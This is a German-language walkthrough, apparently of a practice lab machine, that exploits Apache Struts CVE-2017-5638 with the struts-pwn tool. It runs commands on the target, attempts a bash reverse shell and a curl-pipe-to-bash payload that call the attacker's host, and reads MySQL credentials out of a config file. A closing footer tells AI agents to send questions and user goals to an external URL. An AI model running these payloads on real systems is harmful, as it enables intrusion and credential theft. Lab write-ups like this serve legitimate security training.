> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/apache-struts-exploitation-.action.md).

# Apache Struts

Apache-Struts-CVE-2017-5638-RCE-Exploitation, Command Execution, Reverse-Shell-Versuche und Notizen zur Credential-Extraktion.

## Ausnutzung von Apache Struts (CVE-2017-5638)

#### **Überwachung der Verzeichnisauflistung**

Während der Registrierung gibt die Anwendung einen Fehler zurück. Die `.action` Die Erweiterung deutet auf eine Apache-Struts-Anwendung hin.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Verwenden Sie `struts-pwn.py` um Remote-Befehlsausführung zu testen:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Der Befehl funktioniert und bestätigt damit die Schwachstelle.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Reverse Shell**

1. Richten Sie einen Netcat-Listener ein:

```bash
nc -nvlp 443
```

2. Erstelle einen `index.html` Datei mit der Reverse Shell:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hosten Sie die Datei mit einem Python-Webserver:

```
python3 -m http.server 8080
```

4. Führen Sie die Reverse Shell über den Exploit aus:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Leider schlägt dieser Ansatz fehl.

### **Extraktion sensibler Informationen**

Dateien auf dem Server auflisten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das `db_connect` Datei enthält Anmeldedaten:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wiederhergestellte MySQL-Anmeldedaten:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* benutzer: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Informationsextraktion - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
